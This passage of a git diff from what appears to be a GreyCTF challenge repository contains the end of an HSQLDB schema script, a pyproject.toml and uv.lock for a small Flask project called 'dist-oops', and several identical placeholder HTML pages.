CREATE INDEX "AUTHHELPER_DIAGNOSTIC_STEP_DIAGNOSTICID_IDX" ON PUBLIC."AUTHHELPER_DIAGNOSTIC_STEP"("DIAGNOSTICID")
|
||||
CREATE CACHED TABLE PUBLIC."AUTHHELPER_DIAGNOSTIC_MESSAGE"("CREATETIMESTAMP" TIMESTAMP,"ID" BIGINT GENERATED BY DEFAULT AS IDENTITY(START WITH 0) NOT NULL PRIMARY KEY,"STEPID" BIGINT NOT NULL,"NUMBER" BIGINT NOT NULL,"MESSAGEID" BIGINT NOT NULL)
|
||||
ALTER TABLE PUBLIC."AUTHHELPER_DIAGNOSTIC_MESSAGE" ALTER COLUMN "ID" RESTART WITH 0
|
||||
CREATE INDEX "AUTHHELPER_DIAGNOSTIC_MESSAGE_STEPID_IDX" ON PUBLIC."AUTHHELPER_DIAGNOSTIC_MESSAGE"("STEPID")
|
||||
CREATE CACHED TABLE PUBLIC."AUTHHELPER_DIAGNOSTIC_SCREENSHOT"("CREATETIMESTAMP" TIMESTAMP,"ID" BIGINT GENERATED BY DEFAULT AS IDENTITY(START WITH 0) NOT NULL PRIMARY KEY,"STEPID" BIGINT NOT NULL,"DATA" VARCHAR(8388608) NOT NULL)
|
||||
ALTER TABLE PUBLIC."AUTHHELPER_DIAGNOSTIC_SCREENSHOT" ALTER COLUMN "ID" RESTART WITH 0
|
||||
CREATE INDEX "AUTHHELPER_DIAGNOSTIC_SCREENSHOT_STEPID_IDX" ON PUBLIC."AUTHHELPER_DIAGNOSTIC_SCREENSHOT"("STEPID")
|
||||
CREATE CACHED TABLE PUBLIC."AUTHHELPER_DIAGNOSTIC_WEB_ELEMENT"("CREATETIMESTAMP" TIMESTAMP,"ID" BIGINT GENERATED BY DEFAULT AS IDENTITY(START WITH 0) NOT NULL PRIMARY KEY,"FORMINDEX" BIGINT,"ATTRIBUTETYPE" VARCHAR(1024),"ATTRIBUTEID" VARCHAR(1024),"ATTRIBUTENAME" VARCHAR(1024),"ATTRIBUTEVALUE" VARCHAR(1024),"TEXT" VARCHAR(4096),"DISPLAYED" BOOLEAN NOT NULL,"ENABLED" BOOLEAN NOT NULL)
|
||||
ALTER TABLE PUBLIC."AUTHHELPER_DIAGNOSTIC_WEB_ELEMENT" ALTER COLUMN "ID" RESTART WITH 0
|
||||
CREATE CACHED TABLE PUBLIC."AUTHHELPER_DIAGNOSTIC_STEP_WEB_ELEMENTS"("STEPID" BIGINT NOT NULL,"WEBELEMENTID" BIGINT NOT NULL,"NUMBER" BIGINT NOT NULL)
|
||||
CREATE INDEX "AUTHHELPER_DIAGNOSTIC_STEP_WEB_ELEMENTS_STEPID_IDX" ON PUBLIC."AUTHHELPER_DIAGNOSTIC_STEP_WEB_ELEMENTS"("STEPID")
|
||||
CREATE INDEX "AUTHHELPER_DIAGNOSTIC_STEP_WEB_ELEMENTS_WEBELEMENTID_IDX" ON PUBLIC."AUTHHELPER_DIAGNOSTIC_STEP_WEB_ELEMENTS"("WEBELEMENTID")
|
||||
CREATE CACHED TABLE PUBLIC."AUTHHELPER_DIAGNOSTIC_BROWSER_STORAGE_ITEM"("CREATETIMESTAMP" TIMESTAMP,"ID" BIGINT GENERATED BY DEFAULT AS IDENTITY(START WITH 0) NOT NULL PRIMARY KEY,"STEPID" BIGINT NOT NULL,"TYPE" INTEGER NOT NULL,"NUMBER" BIGINT NOT NULL,"KEY" VARCHAR(4096) NOT NULL,"VALUE" VARCHAR(65536))
|
||||
ALTER TABLE PUBLIC."AUTHHELPER_DIAGNOSTIC_BROWSER_STORAGE_ITEM" ALTER COLUMN "ID" RESTART WITH 0
|
||||
CREATE INDEX "AUTHHELPER_DIAGNOSTIC_BROWSER_STORAGE_ITEM_STEPID_IDX" ON PUBLIC."AUTHHELPER_DIAGNOSTIC_BROWSER_STORAGE_ITEM"("STEPID")
|
||||
ALTER SEQUENCE SYSTEM_LOBS.LOB_ID RESTART WITH 1
|
||||
SET DATABASE DEFAULT INITIAL SCHEMA PUBLIC
|
||||
SET TABLE PUBLIC.SESSION INDEX '106 0 1'
|
||||
SET TABLE PUBLIC.CONTEXT_DATA INDEX '63 63 63 0 0 0 52'
|
||||
GRANT USAGE ON DOMAIN INFORMATION_SCHEMA.CARDINAL_NUMBER TO PUBLIC
|
||||
GRANT USAGE ON DOMAIN INFORMATION_SCHEMA.YES_OR_NO TO PUBLIC
|
||||
GRANT USAGE ON DOMAIN INFORMATION_SCHEMA.CHARACTER_DATA TO PUBLIC
|
||||
GRANT USAGE ON DOMAIN INFORMATION_SCHEMA.SQL_IDENTIFIER TO PUBLIC
|
||||
GRANT USAGE ON DOMAIN INFORMATION_SCHEMA.TIME_STAMP TO PUBLIC
|
||||
GRANT DBA TO SA
|
||||
SET SCHEMA SYSTEM_LOBS
|
||||
INSERT INTO BLOCKS VALUES(0,2147483647,0)
|
||||
SET SCHEMA PUBLIC
|
||||
INSERT INTO "AUTHHELPER_FLYWAY_SCHEMA_HISTORY" VALUES(1,'0','<< Flyway Baseline >>','BASELINE','<< Flyway Baseline >>',NULL,'SA','2025-05-31 22:16:38.434599',0,'1')
|
||||
INSERT INTO "AUTHHELPER_FLYWAY_SCHEMA_HISTORY" VALUES(2,'1','Create tables','SQL','V1__Create_tables.sql',1328189853,'SA','2025-05-31 22:16:38.459680',3,'1')
|
||||
INSERT INTO "AUTHHELPER_FLYWAY_SCHEMA_HISTORY" VALUES(3,'2','Create storage tables','SQL','V2__Create_storage_tables.sql',716709220,'SA','2025-05-31 22:16:38.470036',1,'1')
|
||||
10
catthegray25/ezpz/dist-oops/pyproject.toml
Normal file
10
catthegray25/ezpz/dist-oops/pyproject.toml
Normal file
@@ -0,0 +1,10 @@
|
||||
[project]
|
||||
name = "dist-oops"
|
||||
version = "0.1.0"
|
||||
description = "Add your description here"
|
||||
readme = "README.md"
|
||||
requires-python = ">=3.12"
|
||||
dependencies = [
|
||||
"beautifulsoup4>=4.13.4",
|
||||
"flask>=3.1.1",
|
||||
]
|
||||
167
catthegray25/ezpz/dist-oops/uv.lock
generated
Normal file
167
catthegray25/ezpz/dist-oops/uv.lock
generated
Normal file
@@ -0,0 +1,167 @@
|
||||
version = 1
|
||||
revision = 2
|
||||
requires-python = ">=3.12"
|
||||
|
||||
[[package]]
|
||||
name = "beautifulsoup4"
|
||||
version = "4.13.4"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
dependencies = [
|
||||
{ name = "soupsieve" },
|
||||
{ name = "typing-extensions" },
|
||||
]
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/d8/e4/0c4c39e18fd76d6a628d4dd8da40543d136ce2d1752bd6eeeab0791f4d6b/beautifulsoup4-4.13.4.tar.gz", hash = "sha256:dbb3c4e1ceae6aefebdaf2423247260cd062430a410e38c66f2baa50a8437195", size = 621067, upload-time = "2025-04-15T17:05:13.836Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/50/cd/30110dc0ffcf3b131156077b90e9f60ed75711223f306da4db08eff8403b/beautifulsoup4-4.13.4-py3-none-any.whl", hash = "sha256:9bbbb14bfde9d79f38b8cd5f8c7c85f4b8f2523190ebed90e950a8dea4cb1c4b", size = 187285, upload-time = "2025-04-15T17:05:12.221Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "blinker"
|
||||
version = "1.9.0"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/21/28/9b3f50ce0e048515135495f198351908d99540d69bfdc8c1d15b73dc55ce/blinker-1.9.0.tar.gz", hash = "sha256:b4ce2265a7abece45e7cc896e98dbebe6cead56bcf805a3d23136d145f5445bf", size = 22460, upload-time = "2024-11-08T17:25:47.436Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/10/cb/f2ad4230dc2eb1a74edf38f1a38b9b52277f75bef262d8908e60d957e13c/blinker-1.9.0-py3-none-any.whl", hash = "sha256:ba0efaa9080b619ff2f3459d1d500c57bddea4a6b424b60a91141db6fd2f08bc", size = 8458, upload-time = "2024-11-08T17:25:46.184Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "click"
|
||||
version = "8.2.1"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
dependencies = [
|
||||
{ name = "colorama", marker = "sys_platform == 'win32'" },
|
||||
]
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/60/6c/8ca2efa64cf75a977a0d7fac081354553ebe483345c734fb6b6515d96bbc/click-8.2.1.tar.gz", hash = "sha256:27c491cc05d968d271d5a1db13e3b5a184636d9d930f148c50b038f0d0646202", size = 286342, upload-time = "2025-05-20T23:19:49.832Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/85/32/10bb5764d90a8eee674e9dc6f4db6a0ab47c8c4d0d83c27f7c39ac415a4d/click-8.2.1-py3-none-any.whl", hash = "sha256:61a3265b914e850b85317d0b3109c7f8cd35a670f963866005d6ef1d5175a12b", size = 102215, upload-time = "2025-05-20T23:19:47.796Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "colorama"
|
||||
version = "0.4.6"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/d8/53/6f443c9a4a8358a93a6792e2acffb9d9d5cb0a5cfd8802644b7b1c9a02e4/colorama-0.4.6.tar.gz", hash = "sha256:08695f5cb7ed6e0531a20572697297273c47b8cae5a63ffc6d6ed5c201be6e44", size = 27697, upload-time = "2022-10-25T02:36:22.414Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/d1/d6/3965ed04c63042e047cb6a3e6ed1a63a35087b6a609aa3a15ed8ac56c221/colorama-0.4.6-py2.py3-none-any.whl", hash = "sha256:4f1d9991f5acc0ca119f9d443620b77f9d6b33703e51011c16baf57afb285fc6", size = 25335, upload-time = "2022-10-25T02:36:20.889Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "dist-oops"
|
||||
version = "0.1.0"
|
||||
source = { virtual = "." }
|
||||
dependencies = [
|
||||
{ name = "beautifulsoup4" },
|
||||
{ name = "flask" },
|
||||
]
|
||||
|
||||
[package.metadata]
|
||||
requires-dist = [
|
||||
{ name = "beautifulsoup4", specifier = ">=4.13.4" },
|
||||
{ name = "flask", specifier = ">=3.1.1" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "flask"
|
||||
version = "3.1.1"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
dependencies = [
|
||||
{ name = "blinker" },
|
||||
{ name = "click" },
|
||||
{ name = "itsdangerous" },
|
||||
{ name = "jinja2" },
|
||||
{ name = "markupsafe" },
|
||||
{ name = "werkzeug" },
|
||||
]
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/c0/de/e47735752347f4128bcf354e0da07ef311a78244eba9e3dc1d4a5ab21a98/flask-3.1.1.tar.gz", hash = "sha256:284c7b8f2f58cb737f0cf1c30fd7eaf0ccfcde196099d24ecede3fc2005aa59e", size = 753440, upload-time = "2025-05-13T15:01:17.447Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/3d/68/9d4508e893976286d2ead7f8f571314af6c2037af34853a30fd769c02e9d/flask-3.1.1-py3-none-any.whl", hash = "sha256:07aae2bb5eaf77993ef57e357491839f5fd9f4dc281593a81a9e4d79a24f295c", size = 103305, upload-time = "2025-05-13T15:01:15.591Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "itsdangerous"
|
||||
version = "2.2.0"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/9c/cb/8ac0172223afbccb63986cc25049b154ecfb5e85932587206f42317be31d/itsdangerous-2.2.0.tar.gz", hash = "sha256:e0050c0b7da1eea53ffaf149c0cfbb5c6e2e2b69c4bef22c81fa6eb73e5f6173", size = 54410, upload-time = "2024-04-16T21:28:15.614Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/04/96/92447566d16df59b2a776c0fb82dbc4d9e07cd95062562af01e408583fc4/itsdangerous-2.2.0-py3-none-any.whl", hash = "sha256:c6242fc49e35958c8b15141343aa660db5fc54d4f13a1db01a3f5891b98700ef", size = 16234, upload-time = "2024-04-16T21:28:14.499Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "jinja2"
|
||||
version = "3.1.6"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
dependencies = [
|
||||
{ name = "markupsafe" },
|
||||
]
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/df/bf/f7da0350254c0ed7c72f3e33cef02e048281fec7ecec5f032d4aac52226b/jinja2-3.1.6.tar.gz", hash = "sha256:0137fb05990d35f1275a587e9aee6d56da821fc83491a0fb838183be43f66d6d", size = 245115, upload-time = "2025-03-05T20:05:02.478Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/62/a1/3d680cbfd5f4b8f15abc1d571870c5fc3e594bb582bc3b64ea099db13e56/jinja2-3.1.6-py3-none-any.whl", hash = "sha256:85ece4451f492d0c13c5dd7c13a64681a86afae63a5f347908daf103ce6d2f67", size = 134899, upload-time = "2025-03-05T20:05:00.369Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "markupsafe"
|
||||
version = "3.0.2"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/b2/97/5d42485e71dfc078108a86d6de8fa46db44a1a9295e89c5d6d4a06e23a62/markupsafe-3.0.2.tar.gz", hash = "sha256:ee55d3edf80167e48ea11a923c7386f4669df67d7994554387f84e7d8b0a2bf0", size = 20537, upload-time = "2024-10-18T15:21:54.129Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/22/09/d1f21434c97fc42f09d290cbb6350d44eb12f09cc62c9476effdb33a18aa/MarkupSafe-3.0.2-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:9778bd8ab0a994ebf6f84c2b949e65736d5575320a17ae8984a77fab08db94cf", size = 14274, upload-time = "2024-10-18T15:21:13.777Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/6b/b0/18f76bba336fa5aecf79d45dcd6c806c280ec44538b3c13671d49099fdd0/MarkupSafe-3.0.2-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:846ade7b71e3536c4e56b386c2a47adf5741d2d8b94ec9dc3e92e5e1ee1e2225", size = 12348, upload-time = "2024-10-18T15:21:14.822Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/e0/25/dd5c0f6ac1311e9b40f4af06c78efde0f3b5cbf02502f8ef9501294c425b/MarkupSafe-3.0.2-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1c99d261bd2d5f6b59325c92c73df481e05e57f19837bdca8413b9eac4bd8028", size = 24149, upload-time = "2024-10-18T15:21:15.642Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/f3/f0/89e7aadfb3749d0f52234a0c8c7867877876e0a20b60e2188e9850794c17/MarkupSafe-3.0.2-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e17c96c14e19278594aa4841ec148115f9c7615a47382ecb6b82bd8fea3ab0c8", size = 23118, upload-time = "2024-10-18T15:21:17.133Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/d5/da/f2eeb64c723f5e3777bc081da884b414671982008c47dcc1873d81f625b6/MarkupSafe-3.0.2-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:88416bd1e65dcea10bc7569faacb2c20ce071dd1f87539ca2ab364bf6231393c", size = 22993, upload-time = "2024-10-18T15:21:18.064Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/da/0e/1f32af846df486dce7c227fe0f2398dc7e2e51d4a370508281f3c1c5cddc/MarkupSafe-3.0.2-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:2181e67807fc2fa785d0592dc2d6206c019b9502410671cc905d132a92866557", size = 24178, upload-time = "2024-10-18T15:21:18.859Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/c4/f6/bb3ca0532de8086cbff5f06d137064c8410d10779c4c127e0e47d17c0b71/MarkupSafe-3.0.2-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:52305740fe773d09cffb16f8ed0427942901f00adedac82ec8b67752f58a1b22", size = 23319, upload-time = "2024-10-18T15:21:19.671Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/a2/82/8be4c96ffee03c5b4a034e60a31294daf481e12c7c43ab8e34a1453ee48b/MarkupSafe-3.0.2-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:ad10d3ded218f1039f11a75f8091880239651b52e9bb592ca27de44eed242a48", size = 23352, upload-time = "2024-10-18T15:21:20.971Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/51/ae/97827349d3fcffee7e184bdf7f41cd6b88d9919c80f0263ba7acd1bbcb18/MarkupSafe-3.0.2-cp312-cp312-win32.whl", hash = "sha256:0f4ca02bea9a23221c0182836703cbf8930c5e9454bacce27e767509fa286a30", size = 15097, upload-time = "2024-10-18T15:21:22.646Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/c1/80/a61f99dc3a936413c3ee4e1eecac96c0da5ed07ad56fd975f1a9da5bc630/MarkupSafe-3.0.2-cp312-cp312-win_amd64.whl", hash = "sha256:8e06879fc22a25ca47312fbe7c8264eb0b662f6db27cb2d3bbbc74b1df4b9b87", size = 15601, upload-time = "2024-10-18T15:21:23.499Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/83/0e/67eb10a7ecc77a0c2bbe2b0235765b98d164d81600746914bebada795e97/MarkupSafe-3.0.2-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:ba9527cdd4c926ed0760bc301f6728ef34d841f405abf9d4f959c478421e4efd", size = 14274, upload-time = "2024-10-18T15:21:24.577Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/2b/6d/9409f3684d3335375d04e5f05744dfe7e9f120062c9857df4ab490a1031a/MarkupSafe-3.0.2-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:f8b3d067f2e40fe93e1ccdd6b2e1d16c43140e76f02fb1319a05cf2b79d99430", size = 12352, upload-time = "2024-10-18T15:21:25.382Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/d2/f5/6eadfcd3885ea85fe2a7c128315cc1bb7241e1987443d78c8fe712d03091/MarkupSafe-3.0.2-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:569511d3b58c8791ab4c2e1285575265991e6d8f8700c7be0e88f86cb0672094", size = 24122, upload-time = "2024-10-18T15:21:26.199Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/0c/91/96cf928db8236f1bfab6ce15ad070dfdd02ed88261c2afafd4b43575e9e9/MarkupSafe-3.0.2-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:15ab75ef81add55874e7ab7055e9c397312385bd9ced94920f2802310c930396", size = 23085, upload-time = "2024-10-18T15:21:27.029Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/c2/cf/c9d56af24d56ea04daae7ac0940232d31d5a8354f2b457c6d856b2057d69/MarkupSafe-3.0.2-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f3818cb119498c0678015754eba762e0d61e5b52d34c8b13d770f0719f7b1d79", size = 22978, upload-time = "2024-10-18T15:21:27.846Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/2a/9f/8619835cd6a711d6272d62abb78c033bda638fdc54c4e7f4272cf1c0962b/MarkupSafe-3.0.2-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:cdb82a876c47801bb54a690c5ae105a46b392ac6099881cdfb9f6e95e4014c6a", size = 24208, upload-time = "2024-10-18T15:21:28.744Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/f9/bf/176950a1792b2cd2102b8ffeb5133e1ed984547b75db47c25a67d3359f77/MarkupSafe-3.0.2-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:cabc348d87e913db6ab4aa100f01b08f481097838bdddf7c7a84b7575b7309ca", size = 23357, upload-time = "2024-10-18T15:21:29.545Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/ce/4f/9a02c1d335caabe5c4efb90e1b6e8ee944aa245c1aaaab8e8a618987d816/MarkupSafe-3.0.2-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:444dcda765c8a838eaae23112db52f1efaf750daddb2d9ca300bcae1039adc5c", size = 23344, upload-time = "2024-10-18T15:21:30.366Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/ee/55/c271b57db36f748f0e04a759ace9f8f759ccf22b4960c270c78a394f58be/MarkupSafe-3.0.2-cp313-cp313-win32.whl", hash = "sha256:bcf3e58998965654fdaff38e58584d8937aa3096ab5354d493c77d1fdd66d7a1", size = 15101, upload-time = "2024-10-18T15:21:31.207Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/29/88/07df22d2dd4df40aba9f3e402e6dc1b8ee86297dddbad4872bd5e7b0094f/MarkupSafe-3.0.2-cp313-cp313-win_amd64.whl", hash = "sha256:e6a2a455bd412959b57a172ce6328d2dd1f01cb2135efda2e4576e8a23fa3b0f", size = 15603, upload-time = "2024-10-18T15:21:32.032Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/62/6a/8b89d24db2d32d433dffcd6a8779159da109842434f1dd2f6e71f32f738c/MarkupSafe-3.0.2-cp313-cp313t-macosx_10_13_universal2.whl", hash = "sha256:b5a6b3ada725cea8a5e634536b1b01c30bcdcd7f9c6fff4151548d5bf6b3a36c", size = 14510, upload-time = "2024-10-18T15:21:33.625Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/7a/06/a10f955f70a2e5a9bf78d11a161029d278eeacbd35ef806c3fd17b13060d/MarkupSafe-3.0.2-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:a904af0a6162c73e3edcb969eeeb53a63ceeb5d8cf642fade7d39e7963a22ddb", size = 12486, upload-time = "2024-10-18T15:21:34.611Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/34/cf/65d4a571869a1a9078198ca28f39fba5fbb910f952f9dbc5220afff9f5e6/MarkupSafe-3.0.2-cp313-cp313t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4aa4e5faecf353ed117801a068ebab7b7e09ffb6e1d5e412dc852e0da018126c", size = 25480, upload-time = "2024-10-18T15:21:35.398Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/0c/e3/90e9651924c430b885468b56b3d597cabf6d72be4b24a0acd1fa0e12af67/MarkupSafe-3.0.2-cp313-cp313t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c0ef13eaeee5b615fb07c9a7dadb38eac06a0608b41570d8ade51c56539e509d", size = 23914, upload-time = "2024-10-18T15:21:36.231Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/66/8c/6c7cf61f95d63bb866db39085150df1f2a5bd3335298f14a66b48e92659c/MarkupSafe-3.0.2-cp313-cp313t-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d16a81a06776313e817c951135cf7340a3e91e8c1ff2fac444cfd75fffa04afe", size = 23796, upload-time = "2024-10-18T15:21:37.073Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/bb/35/cbe9238ec3f47ac9a7c8b3df7a808e7cb50fe149dc7039f5f454b3fba218/MarkupSafe-3.0.2-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:6381026f158fdb7c72a168278597a5e3a5222e83ea18f543112b2662a9b699c5", size = 25473, upload-time = "2024-10-18T15:21:37.932Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/e6/32/7621a4382488aa283cc05e8984a9c219abad3bca087be9ec77e89939ded9/MarkupSafe-3.0.2-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:3d79d162e7be8f996986c064d1c7c817f6df3a77fe3d6859f6f9e7be4b8c213a", size = 24114, upload-time = "2024-10-18T15:21:39.799Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/0d/80/0985960e4b89922cb5a0bac0ed39c5b96cbc1a536a99f30e8c220a996ed9/MarkupSafe-3.0.2-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:131a3c7689c85f5ad20f9f6fb1b866f402c445b220c19fe4308c0b147ccd2ad9", size = 24098, upload-time = "2024-10-18T15:21:40.813Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/82/78/fedb03c7d5380df2427038ec8d973587e90561b2d90cd472ce9254cf348b/MarkupSafe-3.0.2-cp313-cp313t-win32.whl", hash = "sha256:ba8062ed2cf21c07a9e295d5b8a2a5ce678b913b45fdf68c32d95d6c1291e0b6", size = 15208, upload-time = "2024-10-18T15:21:41.814Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/4f/65/6079a46068dfceaeabb5dcad6d674f5f5c61a6fa5673746f42a9f4c233b3/MarkupSafe-3.0.2-cp313-cp313t-win_amd64.whl", hash = "sha256:e444a31f8db13eb18ada366ab3cf45fd4b31e4db1236a4448f68778c1d1a5a2f", size = 15739, upload-time = "2024-10-18T15:21:42.784Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "soupsieve"
|
||||
version = "2.7"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/3f/f4/4a80cd6ef364b2e8b65b15816a843c0980f7a5a2b4dc701fc574952aa19f/soupsieve-2.7.tar.gz", hash = "sha256:ad282f9b6926286d2ead4750552c8a6142bc4c783fd66b0293547c8fe6ae126a", size = 103418, upload-time = "2025-04-20T18:50:08.518Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/e7/9c/0e6afc12c269578be5c0c1c9f4b49a8d32770a080260c333ac04cc1c832d/soupsieve-2.7-py3-none-any.whl", hash = "sha256:6e60cc5c1ffaf1cebcc12e8188320b72071e922c2e897f737cadce79ad5d30c4", size = 36677, upload-time = "2025-04-20T18:50:07.196Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "typing-extensions"
|
||||
version = "4.13.2"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/f6/37/23083fcd6e35492953e8d2aaaa68b860eb422b34627b13f2ce3eb6106061/typing_extensions-4.13.2.tar.gz", hash = "sha256:e6c81219bd689f51865d9e372991c540bda33a0379d5573cddb9a3a23f7caaef", size = 106967, upload-time = "2025-04-10T14:19:05.416Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/8b/54/b1ae86c0973cc6f0210b53d508ca3641fb6d0c56823f288d108bc7ab3cc8/typing_extensions-4.13.2-py3-none-any.whl", hash = "sha256:a439e7c04b49fec3e5d3e2beaa21755cadbbdc391694e28ccdd36ca4a1408f8c", size = 45806, upload-time = "2025-04-10T14:19:03.967Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "werkzeug"
|
||||
version = "3.1.3"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
dependencies = [
|
||||
{ name = "markupsafe" },
|
||||
]
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/9f/69/83029f1f6300c5fb2471d621ab06f6ec6b3324685a2ce0f9777fd4a8b71e/werkzeug-3.1.3.tar.gz", hash = "sha256:60723ce945c19328679790e3282cc758aa4a6040e4bb330f53d30fa546d44746", size = 806925, upload-time = "2024-11-08T15:52:18.093Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/52/24/ab44c871b0f07f491e5d2ad12c9bd7358e527510618cb1b803a88e986db1/werkzeug-3.1.3-py3-none-any.whl", hash = "sha256:54b78bf3716d19a65be4fceccc0d1d7b89e608834989dfae50ea87564639213e", size = 224498, upload-time = "2024-11-08T15:52:16.132Z" },
|
||||
]
|
||||
@@ -0,0 +1,4 @@
|
||||
<html>
|
||||
<head><title>Very Serious Website</title></head>
|
||||
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
|
||||
</html>
|
||||
@@ -0,0 +1,4 @@
|
||||
<html>
|
||||
<head><title>Very Serious Website</title></head>
|
||||
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
|
||||
</html>
|
||||
@@ -0,0 +1,4 @@
|
||||
<html>
|
||||
<head><title>Very Serious Website</title></head>
|
||||
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
|
||||
</html>
|
||||
@@ -0,0 +1,4 @@
|
||||
<html>
|
||||
<head><title>Very Serious Website</title></head>
|
||||
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
|
||||
</html>
|
||||
@@ -0,0 +1,4 @@
|
||||
<html>
|
||||
<head><title>Very Serious Website</title></head>
|
||||
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
|
||||
</html>
|
||||
@@ -0,0 +1,4 @@
|
||||
<html>
|
||||
<head><title>Very Serious Website</title></head>
|
||||
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
|
||||
</html>
|
||||
@@ -0,0 +1,4 @@
|
||||
<html>
|
||||
<head><title>Very Serious Website</title></head>
|
||||
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
|
||||
</html>
|
||||
@@ -0,0 +1,4 @@
|
||||
<html>
|
||||
<head><title>Very Serious Website</title></head>
|
||||
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
|
||||
